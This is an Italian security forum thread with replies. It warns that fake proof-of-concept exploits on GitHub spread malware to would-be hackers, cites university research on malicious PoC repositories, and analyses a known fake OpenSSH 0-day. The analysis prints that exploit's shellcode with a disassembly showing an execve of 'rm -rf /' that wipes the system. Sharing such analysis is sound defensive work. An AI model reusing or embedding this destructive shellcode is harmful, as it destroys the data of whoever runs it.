Discussione Pubblicati online finti exploit per distribuire malware agli "esperti" di sicurezza informatica

Stato
Discussione chiusa ad ulteriori risposte.

0xbro

Super Moderatore
24 Febbraio 2017
4,465
179
3,764
1,825
Sono sempre di più i finti PoC pubblicati su GitHub o altri siti online che si spacciano per exploit di CVE recenti ma che hanno in verità come obiettivo la distribuzione di malware e il furto di informazioni agli "esperti" di sicurezza informatica.​
cdn-1666690015363-png.66091


Pubblicati online finti exploit per distribuire malware agli "esperti" di sicurezza informatica​

Tempo di lettura stimato: 7 min​




Sin dai primi tempi, quando l'hacking era una disciplina ancora più di nicchia di quanto non sia ora, è sempre andato di moda tra gli esperti del settore pubblicare PoC (Proof Of Concept, ndr.) o exploit non completamente funzionanti. Ciò veniva fatto principalmente per due ragioni, spesso simili tra lodo:​
  1. Come mezzo di prevenzione: un exploit appositamente creato con degli errori è un exploit che può essere riparato e usato solamente da chi capisce cosa stia facendo e che sappia metterci un minimo le mani. Con questa contromisura si impedisce agli script kiddies e ai lamer di fare danni​
  2. Come incentivo allo studio e alla ricerca: un PoC con degli errori è un incentivo alla ricerca e allo studio su come renderlo funzionante. Consente a chi davvero vuole utilizzare l'exploit di capire cosa ci sia dietro, come mai non funzioni, quali siano gli errori. Dà loro la possibilità di scavare a fondo sull'origine dell'errore e imparare realmente la vulnerabilità, tramutando quindi script-kiddies e lamers in veri hackers.​
Col tempo però la community iniziò a stufarsi di queste figure poco professionali, con alcuni utenti che iniziarono quindi a trollare i malcapitati tramite una nuova pratica: la diffusione di codice apparentemente lecito, ma che in qualche maniera offuscata o nascosta eseguiva del codice "malevolo". Inizialmente questo modo di fare non era inteso per apportare un reale danno all'utente, era più inteso come una sorta di "nonnismo" nei confronti degli utenti più ingenui e poco smaliziati.

Molto noto nella community è infatti il finto exploit 0-day per OpenSSH 5.3, di cui trovate il repository GitHub di seguito:

Tralasciando i molti commenti da skiddie (utilizzo spropositato del linguaggio l33t), per un neofito l'exploit a prima vista può sembrare legittimo. Se si analizza cosa faccia realmente, però, si scopre che in verità è tutta un'altra storia:​

Analizzando il primo shellcode si può notare come esso sia un verità una system call che esegue /bin/rm -rf /, cioè il comando per cancellare ogni singolo file presente sul sistema operativo:​
Codice:
$ python -c 'print "\x6a\x0b\x58\x99\x52\x6a\x2f\x89\xe7\x52\x66\x68\x2d\x66\x89\xe6\x52\x66\x68\x2d\x72\x89\xe1\x52\x68\x2f\x2f\x72\x6d\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x56\x51\x53\x89\xe1\xcd\x80"' > decoder.bin

$ objdump -D -b binary -M intel -m i386 decoder.bin
00000000 <.data>:
   0:    6a 0b                    push   0xb
   2:    58                       pop    eax          // syscall: sys_execve
   3:    99                       cdq
   4:    52                       push   edx
   5:    6a 2f                    push   0x2f
   7:    89 e7                    mov    edi,esp
   9:    52                       push   edx     
   a:    66 68 2d 66              pushw  0x662d       // "-f"
   e:    89 e6                    mov    esi,esp
  10:    52                       push   edx
  11:    66 68 2d 72              pushw  0x722d       // "-r"
  15:    89 e1                    mov    ecx,esp
  17:    52                       push   edx
  18:    68 2f 2f 72 6d           push   0x6d722f2f   // "//rm"
  1d:    68 2f 62 69 6e           push   0x6e69622f   // "/bin"
  22:    89 e3                    mov    ebx,esp
  24:    52                       push   edx
  25:    57                       push   edi
  26:    56                       push   esi
  27:    51                       push   ecx
  28:    53                       push   ebx
  29:    89 e1                    mov    ecx,esp
  2b:    cd 80                    int    0x80         // syscall
  2d:    0a                       .byte 0xa

Il secondo shellcode invece è molto meno "pericoloso", ma decisamente molto più esplicativo: si tratta di una system call su stdout per stampare a schermo il messaggio "f*ck you!"​
Codice:
$ python -c 'print "\x31\xd2\xb2\x0a\xb9\x6f\x75\x21\x0a\x51\xb9\x63\x6b\x20\x79\x51\x66\xb9\x66\x75\x66\x51\x31\xc9\x89\xe1\x31\xdb\xb3\x01\x31\xc0\xb0\x04\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80"' > rootshell.bin

$ objdump -D -b binary -M intel -m i386  rootshell.bin
00000000 <.data>:
   0:    31 d2                    xor    edx,edx
   2:    b2 0a                    mov    dl,0xa
   4:    b9 6f 75 21 0a           mov    ecx,0xa21756f    // "ou!"
   9:    51                       push   ecx
   a:    b9 63 6b 20 79           mov    ecx,0x79206b63   // "ck y"
   f:    51                       push   ecx
  10:    66 b9 66 75              mov    cx,0x7566        // "fu"
  14:    66 51                    push   cx
  16:    31 c9                    xor    ecx,ecx
  18:    89 e1                    mov    ecx,esp
  1a:    31 db                    xor    ebx,ebx
  1c:    b3 01                    mov    bl,0x1           // sys_write ebx: fd = 1
  1e:    31 c0                    xor    eax,eax
  20:    b0 04                    mov    al,0x4           // syscall: sys_write
  22:    cd 80                    int    0x80             // syscall
  24:    31 c0                    xor    eax,eax
  26:    31 db                    xor    ebx,ebx
  28:    40                       inc    eax              // syscall: sys_exit
  29:    cd 80                    int    0x80             // syscall
  2b:    0a                       .byte 0xa

Così come per il caso mostrato sopra, furono molti gli "exploit" spacciati per tali ma che in verità avevano come obiettivo prendere in giro l'utilizzatore, che fosse tramite tecniche distruttive (come per l'esempio sopra) o tramite derisioni pubbliche, come per esempio la pubblicazione dell'username all'interno di un wall of shame pubblico su IRC.

Ispirati da questo modus operandi, molti criminali informatici hanno dato inizio a vere e proprie campagne malevole, con lo scopo di prendere di mira i finti "esperti" di sicurezza e, in verità, diffondere sui loro computer malware e codice malevolo, con lo scopo di trafugare dati o informazioni riservate. Recentemente un team di ricercatori del Leiden Institute of Advanced Computer Science (Soufian El Yadmani, Robin The, Olga Gadyatskaya) ha scoperto migliaia di repository su GitHub che offrono falsi exploit proof-of-concept (PoC) per numerose vulnerabilità uscite di recente (tra il 2017 e il 2021)!​

Dal paper ufficiale della ricerca di può leggere:
“We discovered that not all PoCs are trustworthy. Some proof-of-concepts are fake (i.e., they do not actually offer PoC functionality), or even malicious: e.g., they attempt to exfiltrate data from the system they are being run on, or they try to install malware on this system.”

Su un campione di 47313 repository, 4893 di essi (cioè il 10,3%) sono risultati essere repo con comportamenti riconducibili ad attività dannose.

Cosa ci insegna tutto questo, quindi?​

Facile: mai e poi MAI fidarsi degli exploit pubblici non approvati o non testati, specialmente se provenienti da piattaforme pubbliche come GitHub e GitLab. Prima di lanciare del codice, assicuratevi SEMPRE di capire cosa esso faccia e come si comporti, e nel caso fossero presenti delle parti di codice offuscate, encodate o dei second-stage, assicuratevi di analizzare nel dettaglio anche loro e, nel caso fosse possibile, provvedete alla loro sostituzione con del codice di provenienza sicura (siti affidabili o ancora meglio generato da voi stessi). Questo è un tema molto importante e al contempo delicato sui cui insistono molto anche i corsi professionali come quello della OSCP, per cui verificate sempre cosa faccia il codice prima di eseguirlo!

Made with ❤ for Inforge

 
Se questa roba l'ha scritta lui, questo tizio allora è uno di quegli hacker informatici estremamente arroganti che si diverte a trollare i neofiti, ma sinceramente per me trattare male i neofiti in quest'ambito è un comportamento sconclusionato. Potrebbe aver pubblicato questo malware perché forse crede che tutti i neofiti siano skid con l'obiettivo di sfruttare gli exploit senza capirli, per fare danni così a caso. Ma si tratta di un'assunzione generalizzante perché di sicuro non tutti i neofiti sono fatti così. L'azione che ha fatto non ha nessuna attenuante... Potete provare a segnalare questo Campione, ma non lo so se avrà effetto. Non ho capito infatti perché questa roba sia online dal 2017... Git mi costringe a controlli tedianti con gli OTP (senza chiedermi neppure il consenso per attivare il fattore a doppia autenticazione) ogni volta che accedo da nuovi OS/device, e qualora smarrisca l'email usata per creare l'account rimarrei anche fregato. Però questa roba gira dal 2017, nonostante vedo lì anche uno che ha scritto in MAIUSC di non aprire. Definirla situazione demenziale è un complimento.
 
Sono d'accordo con te, credo che sia sufficiente scrivere dei piccoli errori all'interno degli exploit per fare in modo che non vengano usati da tutti, ma inserire delle componenti malevole del genere che arrecano danni non ha davvero senso, e soprattutto è molto infame come cosa. Creo però che GitHub non possa farci nulla, del resto ognuno può pubblicare quello che vuole sulle proprie repo, non credo ci siano delle limitazioni, a parte la pubblicazione di data leak o dati privati/riservati/sensibili
 
Stato
Discussione chiusa ad ulteriori risposte.